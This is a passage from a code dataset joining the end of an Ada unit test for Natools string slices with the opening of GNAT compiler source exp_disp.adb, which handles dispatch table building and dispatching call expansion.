First, Last : in Natural);
procedure Check_Contents
(Slice : in String_Slices.Slice;
Expected : in String);
procedure Check_Empty
(Slice : in String_Slices.Slice;
Name : in String);
Name : constant String := "Subslices";
Success : Boolean := True;
procedure Report_Fail is
begin
if Success then
Report.Item (Name, NT.Fail);
Success := False;
end if;
end Report_Fail;
procedure Check_Range
(Slice : in String_Slices.Slice;
First, Last : in Natural) is
begin
if Slice.First /= First or Slice.Last /= Last then
Report_Fail;
Report.Info ("Slice range "
& String_Slices.Image (Slice.Get_Range)
& ", expected "
& String_Slices.Image (String_Slices.To_Range (First, Last)));
end if;
end Check_Range;
procedure Check_Contents
(Slice : in String_Slices.Slice;
Expected : in String) is
begin
if Slice.To_String /= Expected then
Report_Fail;
Report.Info ("Slice contains """ & Slice.To_String & '"');
Report.Info ("Expected """ & Expected & '"');
end if;
end Check_Contents;
procedure Check_Empty
(Slice : in String_Slices.Slice;
Name : in String) is
begin
if Slice.Is_Null then
Report_Fail;
Report.Info ("Unexpected null slice after " & Name);
elsif not Slice.Is_Empty then
Report_Fail;
Report.Info ("Unexpected non-empty slice after " & Name);
Report.Info ("Contents: """ & Slice.To_String & '"');
end if;
end Check_Empty;
begin
declare
procedure Check_Both
(S : in String_Slices.Slice;
First, Last : in Natural);
procedure Check_Both
(S : in String_Slices.Slice;
First, Last : in Natural) is
begin
Check_Range (S, First, Last);
Check_Contents (S, Parent_String (First .. Last));
end Check_Both;
Parent : constant String_Slices.Slice
:= String_Slices.To_Slice (Parent_String);
Slice : String_Slices.Slice;
begin
Slice := Parent.Subslice (String_Slices.To_Range (22, 33));
Check_Both (Slice, 22, 33);
Slice.Set_First (25);
Check_Both (Slice, 25, 33);
Slice.Set_Last (30);
Check_Both (Slice, 25, 30);
Slice.Set_Length (3);
Check_Both (Slice, 25, 27);
Slice := Parent.Subslice (15, 0);
Check_Empty (Slice, "Subslice");
Slice := Parent;
Slice.Restrict (String_Slices.To_Range (40, 0));
Check_Empty (Slice, "Restrict");
Slice := Parent;
Slice.Set_First (60);
Check_Empty (Slice, "Set_First");
Slice := Parent;
Slice.Set_Last (10);
Check_Empty (Slice, "Set_Last");
Slice := Parent.Subslice (String_Slices.To_Range (22, 33));
Slice.Set_Length (0);
Check_Empty (Slice, "Set_Length");
end;
declare
Sub_Null : constant String_Slices.Slice
:= String_Slices.Null_Slice.Subslice (10, 0);
begin
Check_Range (Sub_Null, 10, 9);
if not Sub_Null.Is_Null then
Report_Fail;
Report.Info ("Null_Slice.Subslice is not null: """
& Sub_Null.To_String & '"');
end if;
end;
if Success then
Report.Item (Name, NT.Success);
end if;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Subslices;
end Natools.String_Slice_Tests;
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/exp_disp.adb
|
djamal2727/Main-Bearing-Analytical-Model
| 0
|
30150
|
<reponame>djamal2727/Main-Bearing-Analytical-Model
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E X P _ D I S P --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Atree; use Atree;
with Checks; use Checks;
with Debug; use Debug;
with Einfo; use Einfo;
with Elists; use Elists;
with Errout; use Errout;
with Expander; use Expander;
with Exp_Atag; use Exp_Atag;
with Exp_Ch6; use Exp_Ch6;
with Exp_CG; use Exp_CG;
with Exp_Dbug; use Exp_Dbug;
with Exp_Tss; use Exp_Tss;
with Exp_Util; use Exp_Util;
with Freeze; use Freeze;
with Ghost; use Ghost;
with Itypes; use Itypes;
with Layout; use Layout;
with Nlists; use Nlists;
with Nmake; use Nmake;
with Namet; use Namet;
with Opt; use Opt;
with Output; use Output;
with Restrict; use Restrict;
with Rident; use Rident;
with Rtsfind; use Rtsfind;
with Sem; use Sem;
with Sem_Aux; use Sem_Aux;
with Sem_Ch6; use Sem_Ch6;
with Sem_Ch7; use Sem_Ch7;
with Sem_Ch8; use Sem_Ch8;
with Sem_Disp; use Sem_Disp;
with Sem_Eval; use Sem_Eval;
with Sem_Res; use Sem_Res;
with Sem_Type; use Sem_Type;
with Sem_Util; use Sem_Util;
with Sinfo; use Sinfo;
with Sinput; use Sinput;
with Snames; use Snames;
with Stand; use Stand;
with Stringt; use Stringt;
with SCIL_LL; use SCIL_LL;
with Tbuild; use Tbuild;
package body Exp_Disp is
-----------------------
-- Local Subprograms --
-----------------------
function Default_Prim_Op_Position (E : Entity_Id) return Uint;
-- Ada 2005 (AI-251): Returns the fixed position in the dispatch table
-- of the default primitive operations.
function Has_DT (Typ : Entity_Id) return Boolean;
pragma Inline (Has_DT);
-- Returns true if we generate a dispatch table for tagged type Typ
function Is_Predefined_Dispatching_Alias (Prim : Entity_Id) return Boolean;
-- Returns true if Prim is not a predefined dispatching primitive but it is
-- an alias of a predefined dispatching primitive (i.e. through a renaming)
function New_Value (From : Node_Id) return Node_Id;
-- From is the original Expression. New_Value is equivalent to a call to
-- Duplicate_Subexpr with an explicit dereference when From is an access
-- parameter.
function Original_View_In_Visible_Part (Typ : Entity_Id) return Boolean;
-- Check if the type has a private view or if the public view appears in
-- the visible part of a package spec.
function Prim_Op_Kind
(Prim : Entity_Id;
Typ : Entity_Id) return Node_Id;
-- Ada 2005 (AI-345): Determine the primitive operation kind of Prim
-- according to its type Typ. Return a reference to an RE_Prim_Op_Kind
-- enumeration value.
function Tagged_Kind (T : Entity_Id) return Node_Id;
-- Ada 2005 (AI-345): Determine the tagged kind of T and return a reference
-- to an RE_Tagged_Kind enumeration value.
----------------------
-- Apply_Tag_Checks --
----------------------
procedure Apply_Tag_Checks (Call_Node : Node_Id) is
Loc : constant Source_Ptr := Sloc (Call_Node);
Ctrl_Arg : constant Node_Id := Controlling_Argument (Call_Node);
Ctrl_Typ : constant Entity_Id := Base_Type (Etype (Ctrl_Arg));
Param_List : constant List_Id := Parameter_Associations (Call_Node);
Subp : Entity_Id;
CW_Typ : Entity_Id;
Param : Node_Id;
Typ : Entity_Id;
Eq_Prim_Op : Entity_Id := Empty;
begin
if No_Run_Time_Mode then
Error_Msg_CRT ("tagged types", Call_Node);
return;
end if;
-- Apply_Tag_Checks is called directly from the semantics, so we
-- need a check to see whether expansion is active before proceeding.
-- In addition, there is no need to expand the call when compiling
-- under restriction No_Dispatching_Calls; the semantic analyzer has
-- previously notified the violation of this restriction.
if not Expander_Active
or else Restriction_Active (No_Dispatching_Calls)
then
return;
end if;
-- Set subprogram. If this is an inherited operation that was
-- overridden, the body that is being called is its alias.
Subp := Entity (Name (Call_Node));
if Present (Alias (Subp))
and then Is_Inherited_Operation (Subp)
and then No (DTC_Entity (Subp))
then
Subp := Alias (Subp);
end if;
-- Definition of the class-wide type and the tagged type
-- If the controlling argument is itself a tag rather than a tagged
-- object, then use the class-wide type associated with the subprogram's
-- controlling type. This case can occur when a call to an inherited
-- primitive has an actual that originated from a default parameter
-- given by a tag-indeterminate call and when there is no other
-- controlling argument providing the tag (AI-239 requires dispatching).
-- This capability of dispatching directly by tag is also needed by the
-- implementation of AI-260 (for the generic dispatching constructors).
if Ctrl_Typ = RTE (RE_Tag)
or else (RTE_Available (RE_Interface_Tag)
and then Ctrl_Typ = RTE (RE_Interface_Tag))
then
CW_Typ := Class_Wide_Type (Find_Dispatching_Type (Subp));
-- Class_Wide_Type is applied to the expressions used to initialize
-- CW_Typ, to ensure that CW_Typ always denotes a class-wide type, since
-- there are cases where the controlling type is resolved to a specific
-- type (such as for designated types of arguments such as CW'Access).
elsif Is_Access_Type (Ctrl_Typ) then
CW_Typ := Class_Wide_Type (Designated_Type (Ctrl_Typ));
else
CW_Typ := Class_Wide_Type (Ctrl_Typ);
end if;
Typ := Find_Specific_Type (CW_Typ);
if not Is_Limited_Type (Typ) then
Eq_Prim_Op := Find_Prim_Op (Typ, Name_Op_Eq);
end if;
-- Dispatching call to C++ primitive
if Is_CPP_Class (Typ) then
null;
-- Dispatching call to Ada primitive
elsif Present (Param_List) then
-- Generate the Tag checks when appropriate
Param := First_Actual (Call_Node);
while Present (Param) loop
-- No tag check with itself
if Param = Ctrl_Arg then
null;
-- No tag check for parameter whose type is neither tagged nor
-- access to tagged (for access parameters)
elsif No (Find_Controlling_Arg (Param)) then
null;
-- No tag check for function dispatching on result if the
-- Tag given by the context is this one
elsif Find_Controlling_Arg (Param) = Ctrl_Arg then
null;
-- "=" is the only dispatching operation allowed to get operands
-- with incompatible tags (it just returns false). We use
-- Duplicate_Subexpr_Move_Checks instead of calling Relocate_Node
-- because the value will be duplicated to check the tags.
elsif Subp = Eq_Prim_Op then
null;
-- No check in presence of suppress flags
elsif Tag_Checks_Suppressed (Etype (Param))
or else (Is_Access_Type (Etype (Param))
and then Tag_Checks_Suppressed
(Designated_Type (Etype (Param))))
then
null;
-- Optimization: no tag checks if the parameters are identical
elsif Is_Entity_Name (Param)
and then Is_Entity_Name (Ctrl_Arg)
and then Entity (Param) = Entity (Ctrl_Arg)
then
null;
-- Now we need to generate the Tag check
else
-- Generate code for tag equality check
-- Perhaps should have Checks.Apply_Tag_Equality_Check???
Insert_Action (Ctrl_Arg,
Make_Implicit_If_Statement (Call_Node,
Condition =>
Make_Op_Ne (Loc,
Left_Opnd =>
Make_Selected_Component (Loc,
Prefix => New_Value (Ctrl_Arg),
Selector_Name =>
New_Occurrence_Of
(First_Tag_Component (Typ), Loc)),
Right_Opnd =>
Make_Selected_Component (Loc,
Prefix =>
Unchecked_Convert_To (Typ, New_Value (Param)),
Selector_Name =>
New_Occurrence_Of
(First_Tag_Component (Typ), Loc))),
Then_Statements =>
New_List (New_Constraint_Error (Loc))));
end if;
Next_Actual (Param);
end loop;
end if;
end Apply_Tag_Checks;
------------------------
-- Building_Static_DT --
------------------------
function Building_Static_DT (Typ : Entity_Id) return Boolean is
Root_Typ : Entity_Id := Root_Type (Typ);
Static_DT : Boolean;
begin
-- Handle private types
if Present (Full_View (Root_Typ)) then
Root_Typ := Full_View (Root_Typ);
end if;
Static_DT :=
Building_Static_Dispatch_Tables
and then Is_Library_Level_Tagged_Type (Typ)
-- If the type is derived from a CPP class we cannot statically
-- build the dispatch tables because we must inherit primitives
-- from the CPP side.
and then not Is_CPP_Class (Root_Typ);
if not Static_DT then
Check_Restriction (Static_Dispatch_Tables, Typ);
end if;
return Static_DT;
end Building_Static_DT;
----------------------------------
-- Building_Static_Secondary_DT --
----------------------------------
function Building_Static_Secondary_DT (Typ : Entity_Id) return Boolean is
Full_Typ : Entity_Id := Typ;
Root_Typ : Entity_Id := Root_Type (Typ);
Static_DT : Boolean;
begin
-- Handle private types
if Present (Full_View (Typ)) then
Full_Typ := Full_View (Typ);
end if;
if Present (Full_View (Root_Typ)) then
Root_Typ := Full_View (Root_Typ);
end if;
Static_DT :=
Building_Static_DT (Full_Typ)
and then not Is_Interface (Full_Typ)
and then Has_Interfaces (Full_Typ)
and then (Full_Typ = Root_Typ
or else not Is_Variable_Size_Record (Etype (Full_Typ)));
if not Static_DT
and then not Is_Interface (Full_Typ)
and then Has_Interfaces (Full_Typ)
then
Check_Restriction (Static_Dispatch_Tables, Typ);
end if;
return Static_DT;
end Building_Static_Secondary_DT;
----------------------------------
-- Build_Static_Dispatch_Tables --
----------------------------------
procedure Build_Static_Dispatch_Tables (N : Entity_Id) is
Target_List : List_Id;
procedure Build_Dispatch_Tables (List : List_Id);
-- Build the static dispatch table of tagged types found in the list of
-- declarations. The generated nodes are added at the end of Target_List
procedure Build_Package_Dispatch_Tables (N : Node_Id);
-- Build static dispatch tables associated with package declaration N
---------------------------
-- Build_Dispatch_Tables --
---------------------------
procedure Build_Dispatch_Tables (List : List_Id) is
D : Node_Id;
begin
D := First (List);
while Present (D) loop
-- Handle nested packages and package bodies recursively. The
-- generated code is placed on the Target_List established for
-- the enclosing compilation unit.
if Nkind (D) = N_Package_Declaration then
Build_Package_Dispatch_Tables (D);
elsif Nkind (D) = N_Package_Body then
Build_Dispatch_Tables (Declarations (D));
elsif Nkind (D) = N_Package_Body_Stub
and then Present (Library_Unit (D))
then
Build_Dispatch_Tables
(Declarations (Proper_Body (Unit (Library_Unit (D)))));
-- Handle full type declarations and derivations of library level
-- tagged types
elsif Nkind (D) in
N_Full_Type_Declaration | N_Derived_Type_Definition
and then Is_Library_Level_Tagged_Type (Defining_Entity (D))
and then Ekind (Defining_Entity (D)) /= E_Record_Subtype
and then not Is_Private_Type (Defining_Entity (D))
then
-- We do not generate dispatch tables for the internal types
-- created for a type extension with unknown discriminants
-- The needed information is shared with the source type,
-- See Expand_N_Record_Extension.
if Is_Underlying_Record_View (Defining_Entity (D))
or else
(not Comes_From_Source (Defining_Entity (D))
and then
Has_Unknown_Discriminants (Etype (Defining_Entity (D)))
and then
not Comes_From_Source
(First_Subtype (Defining_Entity (D))))
then
null;
else
Insert_List_After_And_Analyze (Last (Target_List),
Make_DT (Defining_Entity (D)));
end if;
-- Handle private types of library level tagged types. We must
-- exchange the private and full-view to ensure the correct
-- expansion. If the full view is a synchronized type ignore
-- the type because the table will be built for the corresponding
-- record type, that has its own declaration.
elsif (Nkind (D) = N_Private_Type_Declaration
or else Nkind (D) = N_Private_Extension_Declaration)
and then Present (Full_View (Defining_Entity (D)))
then
declare
E1 : constant Entity_Id := Defining_Entity (D);
E2 : constant Entity_Id := Full_View (E1);
begin
if Is_Library_Level_Tagged_Type (E2)
and then Ekind (E2) /= E_Record_Subtype
and then not Is_Concurrent_Type (E2)
then
Exchange_Declarations (E1);
Insert_List_After_And_Analyze (Last (Target_List),
Make_DT (E1));
Exchange_Declarations (E2);
end if;
end;
end if;
Next (D);
end loop;
end Build_Dispatch_Tables;
-----------------------------------
-- Build_Package_Dispatch_Tables --
-----------------------------------
procedure Build_Package_Dispatch_Tables (N : Node_Id) is
Spec : constant Node_Id := Specification (N);
Id : constant Entity_Id := Defining_Entity (N);
Vis_Decls : constant List_Id := Visible_Declarations (Spec);
Priv_Decls : constant List_Id := Private_Declarations (Spec);
begin
Push_Scope (Id);
if Present (Priv_Decls) then
Build_Dispatch_Tables (Vis_Decls);
Build_Dispatch_Tables (Priv_Decls);
elsif Present (Vis_Decls) then
Build_Dispatch_Tables (Vis_Decls);
end if;
Pop_Scope;
end Build_Package_Dispatch_Tables;
-- Start of processing for Build_Static_Dispatch_Tables
begin
if not Expander_Active
or else not Tagged_Type_Expansion
then
return;
end if;
if Nkind (N) = N_Package_Declaration then
declare
Spec : constant Node_Id := Specification (N);
Vis_Decls : constant List_Id := Visible_Declarations (Spec);
Priv_Decls : constant List_Id := Private_Declarations (Spec);
begin
if Present (Priv_Decls)
and then Is_Non_Empty_List (Priv_Decls)
then
Target_List := Priv_Decls;
elsif not Present (Vis_Decls) then
Target_List := New_List;
Set_Private_Declarations (Spec, Target_List);
else
Target_List := Vis_Decls;
end if;
Build_Package_Dispatch_Tables (N);
end;
else pragma Assert (Nkind (N) = N_Package_Body);
Target_List := Declarations (N);
Build_Dispatch_Tables (Target_List);
end if;
end Build_Static_Dispatch_Tables;
------------------------------
-- Convert_Tag_To_Interface --
------------------------------
function Convert_Tag_To_Interface
(Typ : Entity_Id;
Expr : Node_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Expr);
Anon_Type : Entity_Id;
Result : Node_Id;
begin
pragma Assert (Is_Class_Wide_Type (Typ)
and then Is_Interface (Typ)
and then
((Nkind (Expr) = N_Selected_Component
and then Is_Tag (Entity (Selector_Name (Expr))))
or else
(Nkind (Expr) = N_Function_Call
and then RTE_Available (RE_Displace)
and then Entity (Name (Expr)) = RTE (RE_Displace))));
Anon_Type := Create_Itype (E_Anonymous_Access_Type, Expr);
Set_Directly_Designated_Type (Anon_Type, Typ);
Set_Etype (Anon_Type, Anon_Type);
Set_Can_Never_Be_Null (Anon_Type);
-- Decorate the size and alignment attributes of the anonymous access
-- type, as required by the back end.
Layout_Type (Anon_Type);
if Nkind (Expr) = N_Selected_Component
and then Is_Tag (Entity (Selector_Name (Expr)))
then
Result :=
Make_Explicit_Dereference (Loc,
Unchecked_Convert_To (Anon_Type,
Make_Attribute_Reference (Loc,
Prefix => Expr,
Attribute_Name => Name_Address)));
else
Result :=
Make_Explicit_Dereference (Loc,
Unchecked_Convert_To (Anon_Type, Expr));
end if;
return Result;
end Convert_Tag_To_Interface;
-------------------
-- CPP_Num_Prims --
-------------------
function CPP_Num_Prims (Typ : Entity_Id) return Nat is
CPP_Typ : Entity_Id;
Tag_Comp : Entity_Id;
begin
if not Is_Tagged_Type (Typ)
or else not Is_CPP_Class (Root_Type (Typ))
then
return 0;
else
CPP_Typ := Enclosing_CPP_Parent (Typ);
Tag_Comp := First_Tag_Component (CPP_Typ);
-- If number of primitives already set in the tag component, use it
if Present (Tag_Comp)
and then DT_Entry_Count (Tag_Comp) /= No_Uint
then
return UI_To_Int (DT_Entry_Count (Tag_Comp));
-- Otherwise, count the primitives of the enclosing CPP type
else
declare
Count : Nat := 0;
Elmt : Elmt_Id;
begin
Elmt := First_Elmt (Primitive_Operations (CPP_Typ));
while Present (Elmt) loop
Count := Count + 1;
Next_Elmt (Elmt);
end loop;
return Count;
end;
end if;
end if;
end CPP_Num_Prims;
------------------------------
-- Default_Prim_Op_Position --
------------------------------
function Default_Prim_Op_Position (E : Entity_Id) return Uint is
TSS_Name : TSS_Name_Type;
begin
Get_Name_String (Chars (E));
TSS_Name :=
TSS_Name_Type
(Name_Buffer (Name_Len - TSS_Name'Length + 1 .. Name_Len));
if Chars (E) = Name_uSize then
return Uint_1;
elsif TSS_Name = TSS_Stream_Read then
return Uint_2;
elsif TSS_Name = TSS_Stream_Write then
return Uint_3;
elsif TSS_Name = TSS_Stream_Input then
return Uint_4;
elsif TSS_Name = TSS_Stream_Output then
return Uint_5;
elsif Chars (E) = Name_Op_Eq then
return Uint_6;
elsif Chars (E) = Name_uAssign then
return Uint_7;
elsif TSS_Name = TSS_Deep_Adjust then
return Uint_8;
elsif TSS_Name = TSS_Deep_Finalize then
return Uint_9;
elsif TSS_Name = TSS_Put_Image then
return Uint_10;
-- In VM targets unconditionally allow obtaining the position associated
-- with predefined interface primitives since in these platforms any
-- tagged type has these primitives.
elsif Ada_Version >= Ada_2005 or else not Tagged_Type_Expansion then
if Chars (E) = Name_uDisp_Asynchronous_Select then
return Uint_11;
elsif Chars (E) = Name_uDisp_Conditional_Select then
return Uint_12;
elsif Chars (E) = Name_uDisp_Get_Prim_Op_Kind then
return Uint_13;
elsif Chars (E) = Name_uDisp_Get_Task_Id then
return Uint_14;
elsif Chars (E) = Name_uDisp_Requeue then
return Uint_15;
elsif Chars (E) = Name_uDisp_Timed_Select then
return Uint_16;
end if;
end if;
raise Program_Error;
end Default_Prim_Op_Position;
----------------------
-- Elab_Flag_Needed --
----------------------
function Elab_Flag_Needed (Typ : Entity_Id) return Boolean is
begin
return Ada_Version >= Ada_2005
and then not Is_Interface (Typ)
and then Has_Interfaces (Typ)
and then not Building_Static_DT (Typ);
end Elab_Flag_Needed;
-----------------------------
-- Expand_Dispatching_Call --
-----------------------------
procedure Expand_Dispatching_Call (Call_Node : Node_Id) is
Loc : constant Source_Ptr := Sloc (Call_Node);
Call_Typ : constant Entity_Id := Etype (Call_Node);
Ctrl_Arg : constant Node_Id := Controlling_Argument (Call_Node);
Ctrl_Typ : constant Entity_Id := Base_Type (Etype (Ctrl_Arg));
Param_List : constant List_Id := Parameter_Associations (Call_Node);
Subp : Entity_Id;
CW_Typ : Entity_Id;
New_Call : Node_Id;
New_Call_Name : Node_Id;
New_Params : List_Id := No_List;
Param : Node_Id;
Res_Typ : Entity_Id;
Subp_Ptr_Typ : Entity_Id;
Subp_Typ : Entity_Id;
Typ : Entity_Id;
Eq_Prim_Op : Entity_Id := Empty;
Controlling_Tag : Node_Id;
procedure Build_Class_Wide_Check;
-- If the denoted subprogram has a class-wide precondition, generate a
-- check using that precondition before the dispatching call, because
-- this is the only class-wide precondition that applies to the call.
function New_Value (From : Node_Id) return Node_Id;
-- From is the original Expression. New_Value is equivalent to a call
-- to Duplicate_Subexpr with an explicit dereference when From is an
-- access parameter.
----------------------------
-- Build_Class_Wide_Check --
----------------------------
procedure Build_Class_Wide_Check is
function Replace_Formals (N : Node_Id) return Traverse_Result;
-- Replace occurrences of the formals of the subprogram by the
-- corresponding actuals in the call, given that this check is
-- performed outside of the body of the subprogram.
-- If the dispatching call appears in the same scope as the
-- declaration of the dispatching subprogram (for example in
-- the expression of a local expression function), the spec
-- has not been analyzed yet, in which case we use the Chars
-- field to recognize intended occurrences of the formals.
---------------------
-- Replace_Formals --
---------------------
function Replace_Formals (N : Node_Id) return Traverse_Result is
A : Node_Id;
F : Entity_Id;
begin
if Is_Entity_Name (N) then
F := First_Formal (Subp);
A := First_Actual (Call_Node);
if Present (Entity (N)) and then Is_Formal (Entity (N)) then
while Present (F) loop
if F = Entity (N) then
Rewrite (N, New_Copy_Tree (A));
-- If the formal is class-wide, and thus not a
-- controlling argument, preserve its type because
-- it may appear in a nested call with a class-wide
-- parameter.
if Is_Class_Wide_Type (Etype (F)) then
Set_Etype (N, Etype (F));
-- Conversely, if this is a controlling argument
-- (in a dispatching call in the condition) that is a
-- dereference, the source is an access-to-class-wide
-- type, so preserve the dispatching nature of the
-- call in the rewritten condition.
elsif Nkind (Parent (N)) = N_Explicit_Dereference
and then Is_Controlling_Actual (Parent (N))
then
Set_Controlling_Argument (Parent (Parent (N)),
Parent (N));
end if;
exit;
end if;
Next_Formal (F);
Next_Actual (A);
end loop;
-- If the node is not analyzed, recognize occurrences of a
-- formal by name, as would be done when resolving the aspect
-- expression in the context of the subprogram.
elsif not Analyzed (N)
and then Nkind (N) = N_Identifier
and then No (Entity (N))
then
while Present (F) loop
if Chars (N) = Chars (F) then
Rewrite (N, New_Copy_Tree (A));
return Skip;
end if;
Next_Formal (F);
Next_Actual (A);
end loop;
end if;
end if;
return OK;
end Replace_Formals;
procedure Update is new Traverse_Proc (Replace_Formals);
-- Local variables
Str_Loc : constant String := Build_Location_String (Loc);
Cond : Node_Id;
Msg : Node_Id;
Prec : Node_Id;
-- Start of processing for Build_Class_Wide_Check
begin
-- Locate class-wide precondition, if any
if Present (Contract (Subp))
and then Present (Pre_Post_Conditions (Contract (Subp)))
then
Prec := Pre_Post_Conditions (Contract (Subp));
while Present (Prec) loop
exit when Pragma_Name (Prec) = Name_Precondition
and then Class_Present (Prec);
Prec := Next_Pragma (Prec);
end loop;
if No (Prec) or else Is_Ignored (Prec) then
return;
end if;
-- The expression for the precondition is analyzed within the
-- generated pragma. The message text is the last parameter of
-- the generated pragma, indicating source of precondition.
Cond :=
New_Copy_Tree
(Expression (First (Pragma_Argument_Associations (Prec))));
Update (Cond);
-- Build message indicating the failed precondition and the
-- dispatching call that caused it.
Msg := Expression (Last (Pragma_Argument_Associations (Prec)));
Name_Len := 0;
Append (Global_Name_Buffer, Strval (Msg));
Append (Global_Name_Buffer, " in dispatching call at ");
Append (Global_Name_Buffer, Str_Loc);
Msg := Make_String_Literal (Loc, Name_Buffer (1 .. Name_Len));
Insert_Action (Call_Node,
Make_If_Statement (Loc,
Condition => Make_Op_Not (Loc, Cond),
Then_Statements => New_List (
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Raise_Assert_Failure), Loc),
Parameter_Associations => New_List (Msg)))));
end if;
end Build_Class_Wide_Check;
---------------
-- New_Value --
---------------
function New_Value (From : Node_Id) return Node_Id is
Res : constant Node_Id := Duplicate_Subexpr (From);
begin
if Is_Access_Type (Etype (From)) then
return
Make_Explicit_Dereference (Sloc (From),
Prefix => Res);
else
return Res;
end if;
end New_Value;
-- Local variables
New_Node : Node_Id;
SCIL_Node : Node_Id := Empty;
SCIL_Related_Node : Node_Id := Call_Node;
-- Start of processing for Expand_Dispatching_Call
begin
if No_Run_Time_Mode then
Error_Msg_CRT ("tagged types", Call_Node);
return;
end if;
-- Expand_Dispatching_Call is called directly from the semantics, so we
-- only proceed if the expander is active.
if not Expander_Active
-- And there is no need to expand the call if we are compiling under
-- restriction No_Dispatching_Calls; the semantic analyzer has
-- previously notified the violation of this restriction.
or else Restriction_Active (No_Dispatching_Calls)
-- No action needed if the dispatching call has been already expanded
or else Is_Expanded_Dispatching_Call (Name (Call_Node))
then
return;
end if;
-- Set subprogram. If this is an inherited operation that was
-- overridden, the body that is being called is its alias.
Subp := Entity (Name (Call_Node));
if Present (Alias (Subp))
and then Is_Inherited_Operation (Subp)
and then No (DTC_Entity (Subp))
then
Subp := Alias (Subp);
end if;
Build_Class_Wide_Check;
-- Definition of the class-wide type and the tagged type
-- If the controlling argument is itself a tag rather than a tagged
-- object, then use the class-wide type associated with the subprogram's
-- controlling type. This case can occur when a call to an inherited
-- primitive has an actual that originated from a default parameter
-- given by a tag-indeterminate call and when there is no other
-- controlling argument providing the tag (AI-239 requires dispatching).
-- This capability of dispatching directly by tag is also needed by the
-- implementation of AI-260 (for the generic dispatching constructors).
if Ctrl_Typ = RTE (RE_Tag)
or else (RTE_Available (RE_Interface_Tag)
and then Ctrl_Typ = RTE (RE_Interface_Tag))
then
CW_Typ := Class_Wide_Type (Find_Dispatching_Type (Subp));
-- Class_Wide_Type is applied to the expressions used to initialize
-- CW_Typ, to ensure that CW_Typ always denotes a class-wide type, since
-- there are cases where the controlling type is resolved to a specific
-- type (such as for designated types of arguments such as CW'Access).
elsif Is_Access_Type (Ctrl_Typ) then
CW_Typ := Class_Wide_Type (Designated_Type (Ctrl_Typ));
else
CW_Typ := Class_Wide_Type (Ctrl_Typ);
end if;
Typ := Find_Specific_Type (CW_Typ);
if not Is_Limited_Type (Typ) then
Eq_Prim_Op := Find_Prim_Op (Typ, Name_Op_Eq);
end if;
-- Dispatching call to C++ primitive. Create a new parameter list
-- with no tag checks.
New_Params := New_List;
if Is_CPP_Class (Typ) then
Param := First_Actual (Call_Node);
while Present (Param) loop
Append_To (New_Params, Relocate_Node (Param));
Next_Actual (Param);
end loop;
-- Dispatching call to Ada primitive
elsif Present (Param_List) then
Apply_Tag_Checks (Call_Node);
Param := First_Actual (Call_Node);
while Present (Param) loop
-- Cases in which we may have generated run-time checks. Note that
-- we strip any qualification from Param before comparing with the
-- already-stripped controlling argument.
if Unqualify (Param) = Ctrl_Arg or else Subp = Eq_Prim_Op then
Append_To (New_Params,
Duplicate_Subexpr_Move_Checks (Param));
elsif Nkind (Parent (Param)) /= N_Parameter_Association
or else not Is_Accessibility_Actual (Parent (Param))
then
Append_To (New_Params, Relocate_Node (Param));
end if;
Next_Actual (Param);
end loop;
end if;
-- Generate the appropriate subprogram pointer type
if Etype (Subp) = Typ then
Res_Typ := CW_Typ;
else
Res_Typ := Etype (Subp);
end if;
Subp_Typ := Create_Itype (E_Subprogram_Type, Call_Node);
Subp_Ptr_Typ := Create_Itype (E_Access_Subprogram_Type, Call_Node);
Set_Etype (Subp_Typ, Res_Typ);
Set_Returns_By_Ref (Subp_Typ, Returns_By_Ref (Subp));
Set_Convention (Subp_Typ, Convention (Subp));
-- Notify gigi that the designated type is a dispatching primitive
Set_Is_Dispatch_Table_Entity (Subp_Typ);
-- Create a new list of parameters which is a copy of the old formal
-- list including the creation of a new set of matching entities.
declare
Old_Formal : Entity_Id := First_Formal (Subp);
New_Formal : Entity_Id;
Last_Formal : Entity_Id := Empty;
begin
if Present (Old_Formal) then
New_Formal := New_Copy (Old_Formal);
Set_First_Entity (Subp_Typ, New_Formal);
Param := First_Actual (Call_Node);
loop
Set_Scope (New_Formal, Subp_Typ);
-- Change all the controlling argument types to be class-wide
-- to avoid a recursion in dispatching.
if Is_Controlling_Formal (New_Formal) then
Set_Etype (New_Formal, Etype (Param));
end if;
-- If the type of the formal is an itype, there was code here
-- introduced in 1998 in revision 1.46, to create a new itype
-- by copy. This seems useless, and in fact leads to semantic
-- errors when the itype is the completion of a type derived
-- from a private type.
Last_Formal := New_Formal;
Next_Formal (Old_Formal);
exit when No (Old_Formal);
Link_Entities (New_Formal, New_Copy (Old_Formal));
Next_Entity (New_Formal);
Next_Actual (Param);
end loop;
Unlink_Next_Entity (New_Formal);
Set_Last_Entity (Subp_Typ, Last_Formal);
end if;
-- Now that the explicit formals have been duplicated, any extra
-- formals needed by the subprogram must be duplicated; we know
-- that extra formals are available because they were added when
-- the tagged type was frozen (see Expand_Freeze_Record_Type).
pragma Assert (Is_Frozen (Typ));
-- Warning: The addition of the extra formals cannot be performed
-- here invoking Create_Extra_Formals since we must ensure that all
-- the extra formals of the pointer type and the target subprogram
-- match (and for functions that return a tagged type the profile of
-- the built subprogram type always returns a class-wide type, which
-- may affect the addition of some extra formals).
if Present (Last_Formal)
and then Present (Extra_Formal (Last_Formal))
then
Old_Formal := Extra_Formal (Last_Formal);
New_Formal := New_Copy (Old_Formal);
Set_Scope (New_Formal, Subp_Typ);
Set_Extra_Formal (Last_Formal, New_Formal);
Set_Extra_Formals (Subp_Typ, New_Formal);
if Ekind (Subp) = E_Function
and then Present (Extra_Accessibility_Of_Result (Subp))
and then Extra_Accessibility_Of_Result (Subp) = Old_Formal
then
